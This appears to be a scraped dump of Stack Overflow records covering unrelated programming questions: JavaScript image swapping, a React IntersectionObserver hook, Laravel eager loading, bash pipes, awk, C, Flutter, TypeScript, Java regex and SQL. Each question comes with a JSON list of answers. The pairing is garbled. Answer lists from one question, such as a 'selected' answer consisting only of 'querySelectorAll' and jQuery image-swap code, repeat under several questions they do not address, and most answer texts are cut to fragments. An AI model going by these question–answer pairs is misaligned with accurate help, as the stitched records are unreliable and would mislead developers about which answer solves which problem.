<pre class="snippet-code-js lang-js prettyprint-override"><code>var inputs = document.getElementsByTagName('input');
for (var i = 0, len = inputs.length; i < len; i++) {
input = inputs[i];
input.onmouseover = function() {
this.setAttribute('data-orig-image', this.getAttribute('src'));
this.src = this.getAttribute('data-alt-image');
};
input.onmouseout = function() {
this.src = this.getAttribute('data-orig-image');
};
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><input type="image" src="/images/image1.png" data-alt-image="/images/image2.png" /></code></pre>
</div>
</div>
</p>
|
[
{
"answer_id": 74467109,
"author": "muka.gergely",
"author_id": 2316540,
"author_profile": "https://Stackoverflow.com/users/2316540",
"pm_score": 3,
"selected": true,
"text": "querySelectorAll"
},
{
"answer_id": 74467518,
"author": "Peter Thoeny",
"author_id": 7475450,
"author_profile": "https://Stackoverflow.com/users/7475450",
"pm_score": 0,
"selected": false,
"text": "function swapImage(elem) {\n let src = elem.attr('src');\n let alt = elem.data('alt');\n elem.attr('src', alt);\n elem.data('alt', src);\n}\n\n$('document').ready(function() {\n $('input[type=\"image\"]').hover(function () {\n swapImage($(this));\n }, function () {\n swapImage($(this));\n });\n});"
},
{
"answer_id": 74540337,
"author": "Mark Schultheiss",
"author_id": 125981,
"author_profile": "https://Stackoverflow.com/users/125981",
"pm_score": 1,
"selected": false,
"text": "swapper.dataset.origImage = swapper.getAttribute('src');"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466877",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8322896/"
] |
74,466,878
|
<p>Hello I am using a switch statement to serve particular components to a page In my next js project. The switch statement receives a payload which it loops through in order to derive what component to serve. These components have been imported dynamically and I now wish to use this dynamic importing along with the Intersection Observer to load components when they come in the viewport to decrease the Initial page load time and split up the chunks. I have incorporated a hook that uses the intersection observer along with use ref to try to replicate my idea. Now this works when I give the reference to one div and it observes the component coming into the viewport as expected, however when I add multiple refs to my divs, I still only get the one div being observed with the ref.</p>
<p>What am I doing wrong? I thought you could reference the same ref multiple times and just use .current to identify the current element being observed?</p>
<p>Switch Statement:</p>
<pre><code>import React from 'react';
import getTCTEnv from '../../../lib/helpers/get-tct-env';
import IconWishlistButton from '../../wishlist/add-to-wishlist-button/button-types/icon-wishlist-button';
import loadable from '@loadable/component';
import { useOnScreen } from '../../../hooks/on-screen';
const PriorityCollection = loadable(
() => import('@culture-trip/tile-ui-module/dist/collectionRail/PriorityCollections'),
{
resolveComponent: (components) => components.PriorityCollection
}
);
const TravelWithUs = loadable(
() => import('../../../components/trips/travel-with-us/travel-with-us'),
{
resolveComponent: (components) => components.TravelWithUs
}
);
const TrustMessaging = loadable(() => import('../../../components/trips/trust-messaging/index'), {
resolveComponent: (components) => components.TrustMessaging
});
const PressMessaging = loadable(() => import('../../../components/trips/press-messaging'), {
resolveComponent: (components) => components.PressMessaging
});
const TripsChatBanner = loadable(
() => import('../../../components/trips/chat-banner/chat-banner'),
{
resolveComponent: (components) => components.TripsChatBanner
}
);
const HpFeaturedArticles = loadable(
() => import('../home-page-featured-articles/home-page-featured-articles'),
{
resolveComponent: (components) => components.HpFeaturedArticles
}
);
const InstagramSection = loadable(() => import('../../../components/trips/instagram'), {
resolveComponent: (components) => components.InstagramSection
});
const EmailForm = loadable(() => import('../../../components/trips/email-form'));
const ReviewsSection = loadable(() => import('../../../components/trips/reviews'));
export const IncludeComponent = ({ collections, reviewData, type }) => {
const [containerRef, isVisible] = useOnScreen({
root: null,
rootMargin: '0px',
threshold: 0.1
});
const instagramCollection = collections.filter((collection) => collection.type === 'instagram');
const getComponents = () =>
collections.map((el, i) => {
switch (el.type) {
case 'trips':
case 'article':
return (
<PriorityCollection
key={i}
collections={[el]}
tctEnv={getTCTEnv()}
wishlistButton={<IconWishlistButton />}
/>
);
case 'reviews':
return (
<>
<div ref={containerRef} id={i}></div>
<ReviewsSection reviewData={reviewData} />
</>
);
case 'instagram':
return (
<>
<div ref={containerRef} id={i}></div>
<InstagramSection collection={instagramCollection} />
</>
);
case 'featured':
return <PressMessaging />;
case 'trust':
return <TrustMessaging type={type} />;
case 'featuredArticle':
return <HpFeaturedArticles />;
case 'email':
return <EmailForm />;
case 'chat':
return <TripsChatBanner />;
case 'travel':
return <TravelWithUs type={type} />;
default:
return;
}
});
return getComponents();
};
</code></pre>
<p>custom hook:</p>
<pre><code>import { useEffect, useState, useRef } from 'react';
export const useOnScreen = (options): any => {
const containerRef = useRef<HTMLDivElement>(null);
const [isVisible, setIsVisible] = useState([]);
const callbackFunction = (entries) => {
const [entry] = entries;
if (entry.isIntersecting)
setIsVisible((oldArray) => [
...oldArray,
isVisible.indexOf(entry.target.id) === -1 && entry.target.id !== undefined
? entry.target.id
: console.log('nothing')
]);
};
useEffect(() => {
const observer = new IntersectionObserver(callbackFunction, options);
if (containerRef.current) observer.observe(containerRef.current);
return () => {
if (containerRef.current) observer.unobserve(containerRef.current);
};
}, [containerRef.current, options]);
return [containerRef, isVisible];
};
</code></pre>
<p>Currently only the instagram ref gets observed</p>
|
[
{
"answer_id": 74467109,
"author": "muka.gergely",
"author_id": 2316540,
"author_profile": "https://Stackoverflow.com/users/2316540",
"pm_score": 3,
"selected": true,
"text": "querySelectorAll"
},
{
"answer_id": 74467518,
"author": "Peter Thoeny",
"author_id": 7475450,
"author_profile": "https://Stackoverflow.com/users/7475450",
"pm_score": 0,
"selected": false,
"text": "function swapImage(elem) {\n let src = elem.attr('src');\n let alt = elem.data('alt');\n elem.attr('src', alt);\n elem.data('alt', src);\n}\n\n$('document').ready(function() {\n $('input[type=\"image\"]').hover(function () {\n swapImage($(this));\n }, function () {\n swapImage($(this));\n });\n});"
},
{
"answer_id": 74540337,
"author": "Mark Schultheiss",
"author_id": 125981,
"author_profile": "https://Stackoverflow.com/users/125981",
"pm_score": 1,
"selected": false,
"text": "swapper.dataset.origImage = swapper.getAttribute('src');"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466878",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7767267/"
] |
74,466,883
|
<p>I have a categories table. every category has some posts.
I want to get categories with their last 10 posts.
So I tried this:</p>
<pre><code>Category::query()->with(['posts' => function($q) {
$q->take(10);
}])->get();
</code></pre>
<p>The problem is instead of putting 10 posts in each category record, it returns a total of 10 posts in all categories items.</p>
<p>Expected:</p>
<pre><code>C1:
id: 1
posts: 10 post
C2:
id: 2
posts: 10 post
</code></pre>
<p>What I got</p>
<pre><code>C1:
id: 1
posts: 4 post
C2:
id: 2
posts: 6 post
</code></pre>
|
[
{
"answer_id": 74467109,
"author": "muka.gergely",
"author_id": 2316540,
"author_profile": "https://Stackoverflow.com/users/2316540",
"pm_score": 3,
"selected": true,
"text": "querySelectorAll"
},
{
"answer_id": 74467518,
"author": "Peter Thoeny",
"author_id": 7475450,
"author_profile": "https://Stackoverflow.com/users/7475450",
"pm_score": 0,
"selected": false,
"text": "function swapImage(elem) {\n let src = elem.attr('src');\n let alt = elem.data('alt');\n elem.attr('src', alt);\n elem.data('alt', src);\n}\n\n$('document').ready(function() {\n $('input[type=\"image\"]').hover(function () {\n swapImage($(this));\n }, function () {\n swapImage($(this));\n });\n});"
},
{
"answer_id": 74540337,
"author": "Mark Schultheiss",
"author_id": 125981,
"author_profile": "https://Stackoverflow.com/users/125981",
"pm_score": 1,
"selected": false,
"text": "swapper.dataset.origImage = swapper.getAttribute('src');"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466883",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4728447/"
] |
74,466,914
|
<p>Every time I add content to the MUI Textfield it outputs it without any line breaks.</p>
<p>Is there a better solution to use?</p>
<pre><code><Stack direction="row" alignItems="start" justifyContent="start" mb={5}>
<TextField
name="Content" placeholder="Content" multiline={true}
value={content}
rows={18}
sx={{width: '100%'}}
onChange={(e) => setContent(e.target.value)}
/>
<div style={{maxWidth:"50%", paddingLeft:"10px"}} dangerouslySetInnerHTML={{__html: generateContent(content)}}></div>
</Stack>
</code></pre>
<p><a href="https://i.stack.imgur.com/1joad.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1joad.png" alt="enter image description here" /></a></p>
|
[
{
"answer_id": 74467109,
"author": "muka.gergely",
"author_id": 2316540,
"author_profile": "https://Stackoverflow.com/users/2316540",
"pm_score": 3,
"selected": true,
"text": "querySelectorAll"
},
{
"answer_id": 74467518,
"author": "Peter Thoeny",
"author_id": 7475450,
"author_profile": "https://Stackoverflow.com/users/7475450",
"pm_score": 0,
"selected": false,
"text": "function swapImage(elem) {\n let src = elem.attr('src');\n let alt = elem.data('alt');\n elem.attr('src', alt);\n elem.data('alt', src);\n}\n\n$('document').ready(function() {\n $('input[type=\"image\"]').hover(function () {\n swapImage($(this));\n }, function () {\n swapImage($(this));\n });\n});"
},
{
"answer_id": 74540337,
"author": "Mark Schultheiss",
"author_id": 125981,
"author_profile": "https://Stackoverflow.com/users/125981",
"pm_score": 1,
"selected": false,
"text": "swapper.dataset.origImage = swapper.getAttribute('src');"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466914",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16034511/"
] |
74,466,939
|
<p>Let's say I run a command in Bash like:</p>
<pre><code>ls -l | grep filename
</code></pre>
<p>How can I save output of both command to a variable? In another words output of "ls -l" and "grep filename" to the same variable?
The command must use a pipe.</p>
<p>Thank you in advance!</p>
<pre><code>combinedOutput = ""
ls -l
total 4
-rw-r--r-- 1 webmaster webmaster 0 Nov 16 20:34 a
-rw-r--r-- 1 webmaster webmaster 0 Nov 16 20:34 b
-rw-r--r-- 1 webmaster webmaster 0 Nov 16 20:34 file1.txt
-rw-r--r-- 1 webmaster webmaster 0 Nov 16 20:34 file2.txt
-rw-r--r-- 1 webmaster webmaster 5 Nov 16 20:34 main.sh
ls -l | grep main.sh
-rw-r--r-- 1 webmaster webmaster 20 Nov 16 20:35 main.sh
echo $combinedOutput
total 4
-rw-r--r-- 1 webmaster webmaster 0 Nov 16 20:34 a
-rw-r--r-- 1 webmaster webmaster 0 Nov 16 20:34 b
-rw-r--r-- 1 webmaster webmaster 0 Nov 16 20:34 file1.txt
-rw-r--r-- 1 webmaster webmaster 0 Nov 16 20:34 file2.txt
-rw-r--r-- 1 webmaster webmaster 5 Nov 16 20:34 main.sh
-rw-r--r-- 1 webmaster webmaster 20 Nov 16 20:35 main.sh
</code></pre>
<p><strong>UPDATE #1:</strong>
A better example: let's say I am trying to archive and compress a directory using the following command:</p>
<pre><code>tar cvf - /some/directory/ | pigz --verbose -1 -p 4 >compressed_archive.tgz;
</code></pre>
<p>The question is how to put outputs of "tar cvf - /some/directory/" and "pigz --verbose -1 -p 4 >compressed_archive.tgz" to a variable.</p>
|
[
{
"answer_id": 74467109,
"author": "muka.gergely",
"author_id": 2316540,
"author_profile": "https://Stackoverflow.com/users/2316540",
"pm_score": 3,
"selected": true,
"text": "querySelectorAll"
},
{
"answer_id": 74467518,
"author": "Peter Thoeny",
"author_id": 7475450,
"author_profile": "https://Stackoverflow.com/users/7475450",
"pm_score": 0,
"selected": false,
"text": "function swapImage(elem) {\n let src = elem.attr('src');\n let alt = elem.data('alt');\n elem.attr('src', alt);\n elem.data('alt', src);\n}\n\n$('document').ready(function() {\n $('input[type=\"image\"]').hover(function () {\n swapImage($(this));\n }, function () {\n swapImage($(this));\n });\n});"
},
{
"answer_id": 74540337,
"author": "Mark Schultheiss",
"author_id": 125981,
"author_profile": "https://Stackoverflow.com/users/125981",
"pm_score": 1,
"selected": false,
"text": "swapper.dataset.origImage = swapper.getAttribute('src');"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466939",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8563668/"
] |
74,466,964
|
<p>I have a bunch of data for different devices in a file and it's set up like this:</p>
<pre><code>device: thing1
data1 data2 data3 data4
data1 data2 data3 data4
...
device: thing2
data1 data2 data3 data4
data1 data2 data3 data4
...
</code></pre>
<p>I need to format it like this:</p>
<pre><code>thing1 data1 data2 data3 data4
thing1 data1 data2 data3 data4
...
thing2 data1 data2 data3 data4
thing2 data1 data2 data3 data4
</code></pre>
<p>I'm thinking awk is the way to go. The label "device:" appears every few hundred lines or so to indicate a data set from another device. So, I can match on that and put the second field into a variable. The problem is that I'm not sure how to match on it without excluding all the lines with the data. Here's what I've got so far:</p>
<pre><code>-bash-4.2$ awk '/device:/{device=$2; print device, $0;}' data_sets.txt | head -n 10
thing2 device: thing2
thing3 device: thing3
thing6 device: thing6
thing7 device: thing7
another_thing0 device: another_thing0
another_thing1 device: another_thing1
thing2 device: thing2
thing3 device: thing3
thing6 device: thing6
thing7 device: thing7
</code></pre>
|
[
{
"answer_id": 74467190,
"author": "George Geo",
"author_id": 9895955,
"author_profile": "https://Stackoverflow.com/users/9895955",
"pm_score": 0,
"selected": false,
"text": "sed -e \"s/^\\(.*\\)/constant_fieldname \\1/\" filename\n"
},
{
"answer_id": 74467810,
"author": "markp-fuso",
"author_id": 7366100,
"author_profile": "https://Stackoverflow.com/users/7366100",
"pm_score": 2,
"selected": true,
"text": "device:"
},
{
"answer_id": 74474389,
"author": "potong",
"author_id": 967492,
"author_profile": "https://Stackoverflow.com/users/967492",
"pm_score": 0,
"selected": false,
"text": "sed -E '/^constant_fieldname: \\S+$/{h;d};G;s/^(.*)\\n\\S+: (\\S+)$/\\2 \\1/' file\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466964",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20463282/"
] |
74,466,969
|
<p>The aim of the exercise is to allocate n-lines of the triangle of tartar. My idea was to use pointers to pointers to allocate it.
However when runned the process ends in this way: Process finished with</p>
<p>here is the code:</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
int somma (int x) {
int sum=0;
for (int i=0; i<=x; i++) {
x=x-i;
sum+=x;
}
return sum;
}
void stampa (int **a, int x) {
*(*(a+0)+0)=1;
for (int j=1; j<x; j++) {
*(*(a+0)+j)=0;
}
for (int i=1; i<x; i++) {
*(*(a+i)+0)=1;
for (int j=1; j<x; j++) {
*(*(a+i)+j)=*(*(a+i-1)+j-1)+*(*(a+i-1)+j);
}
}
for (int i=0; i<x; i++) {
for (int j=0; j<=i; j++ ) {
printf(" %3d", *(*(a+i)+j));
}
printf("\n");
}
}
int main() {
int x, **mat=NULL;
printf("Inserisci x:"); //insert x.
scanf("%d", &x);
int sum=somma(x);
mat=(int**)malloc(sum*sizeof(int*));
if (mat==NULL) {
return 1;
}
stampa(mat, x); //print function.
return 0;
}
</code></pre>
|
[
{
"answer_id": 74467190,
"author": "George Geo",
"author_id": 9895955,
"author_profile": "https://Stackoverflow.com/users/9895955",
"pm_score": 0,
"selected": false,
"text": "sed -e \"s/^\\(.*\\)/constant_fieldname \\1/\" filename\n"
},
{
"answer_id": 74467810,
"author": "markp-fuso",
"author_id": 7366100,
"author_profile": "https://Stackoverflow.com/users/7366100",
"pm_score": 2,
"selected": true,
"text": "device:"
},
{
"answer_id": 74474389,
"author": "potong",
"author_id": 967492,
"author_profile": "https://Stackoverflow.com/users/967492",
"pm_score": 0,
"selected": false,
"text": "sed -E '/^constant_fieldname: \\S+$/{h;d};G;s/^(.*)\\n\\S+: (\\S+)$/\\2 \\1/' file\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466969",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523849/"
] |
74,466,974
|
<p>I am using an iDP that provides the username in the 'sub' claim which inside abp does not mark the <code>CurrentUser.IsAuthenticated</code> to true and the <code>id</code> for the user is also null because it is not a GUID.
From the documentation I found that you can inherit <code>AbpUserClaimsPrincipalFactory</code> and add your custom claims. I thought I could override the NameIdentifier claim and pull the mapped user from the database and use that GUID custom <code>UserClaimsPrincipalFactory</code> never gets called.
Below is my code:</p>
<p>I have tried the below implementation but <code>CreateAsync</code> never gets called.</p>
<pre><code>public class BaselineUserClaimsPrincipalFactory : AbpUserClaimsPrincipalFactory
{
private readonly ICoreApiService _coreApiService;
public BaselineUserClaimsPrincipalFactory(
UserManager<IdentityUser> userManager,
RoleManager<IdentityRole> roleManager,
IOptions<IdentityOptions> options,
ICurrentPrincipalAccessor currentPrincipalAccessor,
IAbpClaimsPrincipalFactory abpClaimsPrincipalFactory,
ICoreApiService coreApiService)
: base(
userManager,
roleManager,
options,
currentPrincipalAccessor,
abpClaimsPrincipalFactory)
{
_coreApiService = coreApiService;
}
[UnitOfWork]
public async override Task<ClaimsPrincipal> CreateAsync(IdentityUser user)
{
var principal = await base.CreateAsync(user);
var identity = principal.Identities.First();
if (identity != null)
{
.
.
identity.AddClaim(new Claim(ClaimTypes.NameIdentifier, user_guid));
}
return principal;
}
}
</code></pre>
<p>Inside <code>BaselineHttpApiHostModule</code></p>
<pre><code>public override void PreConfigureServices(ServiceConfigurationContext context)
{
PreConfigure<IdentityBuilder>(builder => builder.AddClaimsPrincipalFactory<BaselineUserClaimsPrincipalFactory>());
}
</code></pre>
|
[
{
"answer_id": 74467190,
"author": "George Geo",
"author_id": 9895955,
"author_profile": "https://Stackoverflow.com/users/9895955",
"pm_score": 0,
"selected": false,
"text": "sed -e \"s/^\\(.*\\)/constant_fieldname \\1/\" filename\n"
},
{
"answer_id": 74467810,
"author": "markp-fuso",
"author_id": 7366100,
"author_profile": "https://Stackoverflow.com/users/7366100",
"pm_score": 2,
"selected": true,
"text": "device:"
},
{
"answer_id": 74474389,
"author": "potong",
"author_id": 967492,
"author_profile": "https://Stackoverflow.com/users/967492",
"pm_score": 0,
"selected": false,
"text": "sed -E '/^constant_fieldname: \\S+$/{h;d};G;s/^(.*)\\n\\S+: (\\S+)$/\\2 \\1/' file\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466974",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18729464/"
] |
74,466,998
|
<p>I want to pass the data of this string: <code> String pathPDF = "assets/borst-oei.pdf";</code> to an other dart file named arbo.dart</p>
<p>The problem is that is don't know how I can do this with this: <code>GestureDetector( onTap: () => Navigator.of(context).push(PageTransition( child: PDFScreen(), type: PageTransitionType.fade)),</code></p>
<p>i can't do this: <code>GestureDetector( onTap: () => Navigator.of(context).push(PageTransition( child: PDFScreen(pathPDF: ''),type: PageTransitionType.fade)),</code>
because it isn't defined then</p>
<p>this is the string: <code>String pathPDF = "assets/borst-oei.pdf";</code></p>
<p>How can I fix this?</p>
<p>this is a bit of the code:</p>
<pre><code>import 'package:get/get.dart';
import 'package:hetmaantje/utils1/colors.dart';
import 'package:page_transition/page_transition.dart';
import 'arbo.dart';
import 'assets.dart';
class oeiikgroei extends StatefulWidget {
const oeiikgroei({Key? key}) : super(key: key);
@override
State<oeiikgroei> createState() => _oeiikgroeiState();
}
class _oeiikgroeiState extends State<oeiikgroei> {
String pathPDF = "assets/borst-oei.pdf";
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
elevation: 0,
title: const Text(
"Oei ik groei",
style: TextStyle(fontSize: 24, fontWeight: FontWeight.bold),
),
),
body: Container(
decoration: BoxDecoration(
gradient: LinearGradient(colors: [
hexStringToColor("no"),
hexStringToColor("notshowing"),
hexStringToColor("this is not an mistake"),
hexStringToColor("#sorry")
], begin: Alignment.topCenter, end: Alignment.bottomCenter)),
child: Card(
color: Colors.transparent,
elevation: 0,
shape: RoundedRectangleBorder(
),
child: ListView(
padding: EdgeInsets.all(8),
physics: const BouncingScrollPhysics(),
children: [
Column(
children: [
SizedBox(
width: double.infinity,
child: Image.asset(Assets.imagesIcon17, fit: BoxFit.cover)),
SizedBox(
height: Get.size.height * .02,
),]),
ListTile(
contentPadding: EdgeInsets.only(left: 5, top: 1 , right: 4),
tileColor: Colors.transparent,
onTap: () {
Navigator.of(context).push(PageTransition(
child: PDFScreen(),
type: PageTransitionType.fade));
},
textColor: Colors.white,
shape: RoundedRectangleBorder(
side: BorderSide(color: Colors.white, width: 3 ),
borderRadius: BorderRadius.circular(10),
),
</code></pre>
<p>I have extended the PDFScreen now and it works, but i will use the way below instead.</p>
<p>Is there any preformence matters between the methodes?</p>
|
[
{
"answer_id": 74467200,
"author": "Robert Sandberg",
"author_id": 13263384,
"author_profile": "https://Stackoverflow.com/users/13263384",
"pm_score": 2,
"selected": true,
"text": "PDFScreen"
},
{
"answer_id": 74467271,
"author": "Amit Bahadur",
"author_id": 14562817,
"author_profile": "https://Stackoverflow.com/users/14562817",
"pm_score": 0,
"selected": false,
"text": " GestureDetector(\n onTap: () {\n Navigator.push(\n context,\n MaterialPageRoute(\n builder: ((context) => PDFScreen(pathPDF: pathPDF)),\n ),\n );\n },\n);\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466998",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18400997/"
] |
74,467,007
|
<p>I am trying to splice a 2D array in Google Apps Script. I have the following code, but it only works with a 1D array:</p>
<pre><code>function trimArray() {
var myArray = ['1', '2', '3', '4', '5', '6,', '7', '8', '9', '10'];
myArray.splice(3, myArray.length);
console.log(myArray);
}
</code></pre>
<p>How do I modify the code above to work with this array?</p>
<pre><code>[['1', '2', '3', '4', '5', '6,', '7', '8', '9', '10']]
</code></pre>
<p>The output should be the same as the function above, but still maintain a 2D array:</p>
<pre><code>[['1', '2', '3']]
</code></pre>
|
[
{
"answer_id": 74467298,
"author": "Cooper",
"author_id": 7215091,
"author_profile": "https://Stackoverflow.com/users/7215091",
"pm_score": 0,
"selected": false,
"text": "function splicearray() {\n let arr = [[1,2,3],[7,8,9]];\n arr.splice(1,0,[4,5,6]);\n Logger.log(arr);\n}\n\nExecution log\n2:11:54 PM Notice Execution started\n2:11:54 PM Info [[1.0, 2.0, 3.0], [4.0, 5.0, 6.0], [7.0, 8.0, 9.0]]\n2:11:55 PM Notice Execution completed\n"
},
{
"answer_id": 74468296,
"author": "TheWizEd",
"author_id": 3656739,
"author_profile": "https://Stackoverflow.com/users/3656739",
"pm_score": 2,
"selected": true,
"text": "function test() {\n try {\n let a = [['1', '2', '3', '4', '5', '6,', '7', '8', '9', '10']];\n a[0] = a[0].slice(0,3);\n console.log(a)\n }\n catch(err) {\n console.log(\"Error in test: \"+err);\n }\n}\n\n2:59:19 PM Notice Execution started\n2:59:20 PM Info [ [ '1', '2', '3' ] ]\n2:59:20 PM Notice Execution completed\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467007",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19286901/"
] |
74,467,019
|
<p>With java regex i want to find the word "C++" and it should not be positive with only "C".</p>
<p>The below code should explain the rest, see <a href="https://jdoodle.com/ia/zvQ" rel="nofollow noreferrer">here</a></p>
<pre><code>import java.util.*;
import java.util.regex.*;
public class MyClass {
public static void main(String args[]) {
String test = "Framework, c++ and Visual Studio IDEs.";
Pattern p = Pattern.compile("(?i).*\\bc\\+\\+\\b.*");
Matcher m = p.matcher(test);
if(m.find()) {
System.out.println("Pattern1 True");
}
p = Pattern.compile("(?i).*\\Bc.+.+\\B.*");
m = p.matcher(test);
if(m.find()) {
System.out.print("Pattern2 True");
}
p = Pattern.compile("(?i).*\\bc+$\\b.*");
m = p.matcher(test);
if(m.find()) {
System.out.println("Pattern3 is True but how to return false");
}
p = Pattern.compile("(?i).*\\Bc\\B.*");
m = p.matcher(test);
if(m.find()) {
System.out.println("Pattern4 is True");
}
if(test.toLowerCase() .contains("c++")) {
System.out.print("Contains c++ True");
}
if(test.toLowerCase().contains("C")) {
System.out.print("Contains C True");
}
}
}
</code></pre>
|
[
{
"answer_id": 74467122,
"author": "E-Riz",
"author_id": 639520,
"author_profile": "https://Stackoverflow.com/users/639520",
"pm_score": 0,
"selected": false,
"text": "String regex = \".*[cC]\\\\+\\\\+.*\";\njava.util.regex.Pattern.matches(regex, \"This is NOT c++ !\");\n"
},
{
"answer_id": 74467902,
"author": "Wiktor Stribiżew",
"author_id": 3832970,
"author_profile": "https://Stackoverflow.com/users/3832970",
"pm_score": 1,
"selected": false,
"text": "Pattern p = Pattern.compile(\"(?i).*\\\\bc\\\\+\\\\+\\\\B.*\"); // C++\nPattern p = Pattern.compile(\"(?i).*\\\\bC\\\\b(?!\\\\+{2}).*\"); // C only\n"
},
{
"answer_id": 74468079,
"author": "Pradyut Bhattacharya",
"author_id": 245858,
"author_profile": "https://Stackoverflow.com/users/245858",
"pm_score": 0,
"selected": false,
"text": "p = Pattern.compile(\"(?i).*\\\\bC\\\\b(?!\\\\+|#|\\\\$|\\\\*|\\\\^|%|&|\\\\.).*\");\n m = p.matcher(test);\n if(m.find()) {\n System.out.println(\"C is true\");\n }\n p = Pattern.compile(\"(?i).*\\\\bc\\\\+\\\\+\\\\B.*\");\n m = p.matcher(test);\n if(m.find()) {\n System.out.println(\"C++ is true\");\n }\n p = Pattern.compile(\"(?i).*\\\\bc\\\\#\\\\B.*\");\n m = p.matcher(test);\n if(m.find()) {\n System.out.println(\"C# is true\");\n }\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467019",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/245858/"
] |
74,467,054
|
<p>I am currently learning C and I came across this question I can't find an answer to.</p>
<p>Can I jump out of a #ifdef without going through the #endif?<br />
For example can I do this:</p>
<pre><code> char getOS( void ) {
/* Returns the user Operating System
*/
#ifdef _WIN32
return 'w';
#elif TARGET_OS_MAC
return 'm';
#elif __linux__
return 'l';
#else
raiseError( "You cannot play on this OS", true );
#endif
}
</code></pre>
|
[
{
"answer_id": 74467174,
"author": "Jason",
"author_id": 635822,
"author_profile": "https://Stackoverflow.com/users/635822",
"pm_score": 3,
"selected": true,
"text": "char getOS( void ) {\n return 'w';\n}\n"
},
{
"answer_id": 74467176,
"author": "unwind",
"author_id": 28169,
"author_profile": "https://Stackoverflow.com/users/28169",
"pm_score": 2,
"selected": false,
"text": "#endif"
},
{
"answer_id": 74467197,
"author": "dbush",
"author_id": 1687119,
"author_profile": "https://Stackoverflow.com/users/1687119",
"pm_score": 2,
"selected": false,
"text": "#error"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467054",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13580320/"
] |
74,467,065
|
<p>This program should calculate the sum of all numbers whose digits are in descending order. It stops you from inputting if the number isn't a whole number. I think that the problem might be because of the sum variable, but I don't know how to fix it.
Edit: Per @user3386109 request, here is the output I get:
4321
75
56
4,79
0</p>
<p>The sum should be 4396, as sum of 4321 and 75. Not 0.
Sorry for the unclear question I am quite new to this.</p>
<pre><code>int n, last, secondlast, sum, c = 0;
int temp;
while (scanf("%d", &n) == 1) {
sum = 0;
while (temp > 0) {
last = temp % 10;
secondlast = (temp / 10) % 10;
if (secondlast > last) {
c++;
sum = sum + temp;
}
temp = temp / 10;
}
}
if (c == 0) {
printf("There are no numbers that meet the requirements\n");
}
else {
printf("%d\n", sum);
}
</code></pre>
|
[
{
"answer_id": 74467174,
"author": "Jason",
"author_id": 635822,
"author_profile": "https://Stackoverflow.com/users/635822",
"pm_score": 3,
"selected": true,
"text": "char getOS( void ) {\n return 'w';\n}\n"
},
{
"answer_id": 74467176,
"author": "unwind",
"author_id": 28169,
"author_profile": "https://Stackoverflow.com/users/28169",
"pm_score": 2,
"selected": false,
"text": "#endif"
},
{
"answer_id": 74467197,
"author": "dbush",
"author_id": 1687119,
"author_profile": "https://Stackoverflow.com/users/1687119",
"pm_score": 2,
"selected": false,
"text": "#error"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467065",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20520542/"
] |
74,467,067
|
<p>Consider a list of simple functions with different arguments:</p>
<pre><code>const fns = {
isValidDate: (input: string, min?: Date, max?: Date): boolean => {
// ...
return true;
},
isValidOption: (input: string, options: string[]): boolean => {
// ...
return true;
},
};
</code></pre>
<p>They all return the same type (bool);</p>
<p>Then another function that is supposed to call any of the functions above:</p>
<pre><code>function validateField(where: string, fn: keyof typeof fns, ...args: any[]){
// ...
return fns[fn](...args);
}
</code></pre>
<p>How can I make <code>args</code> reflect the parameters of the chose <code>fn</code> ?</p>
<p>For example:</p>
<pre><code>validateField("test", "isValidDate", new Date()); // should be ok
validateField("test", "isValidDate", 123); // should fail
</code></pre>
<p>and have the arguments show in vscode hints, like on normal functions.</p>
<p>I know I need to create overloads for <code>validateField</code> for each <code>fn</code>, but how to do that with a type definitions or something... without having to manually define each overload and write duplicate code with those arguments</p>
|
[
{
"answer_id": 74467562,
"author": "iddar",
"author_id": 10660145,
"author_profile": "https://Stackoverflow.com/users/10660145",
"pm_score": 0,
"selected": false,
"text": "function validateField<key extends keyof typeof fns>(where: string, fn: key, ...options: Parameters<typeof fns[key]>): boolean {\n const fnToCall = fns[fn];\n return fnToCall(...options);\n}\n"
},
{
"answer_id": 74469017,
"author": "jcalz",
"author_id": 2887218,
"author_profile": "https://Stackoverflow.com/users/2887218",
"pm_score": 3,
"selected": true,
"text": "validateField()"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467067",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/376947/"
] |
74,467,106
|
<p>I was wondering if there was any way to check if, in a column, there were all values between a range. Example: i have an INTEGER column with values</p>
<pre><code>0
1
2
3
5
6
</code></pre>
<p>i want to check if between 0 and 6 i have all values. (false in this example)</p>
<p>I think a solution might be: MAX(Column)-MIN(Column)+1 and the result has to be equal to COUNT(Column) but i'm not sure how to write it as a CONSTRAINT.</p>
|
[
{
"answer_id": 74467562,
"author": "iddar",
"author_id": 10660145,
"author_profile": "https://Stackoverflow.com/users/10660145",
"pm_score": 0,
"selected": false,
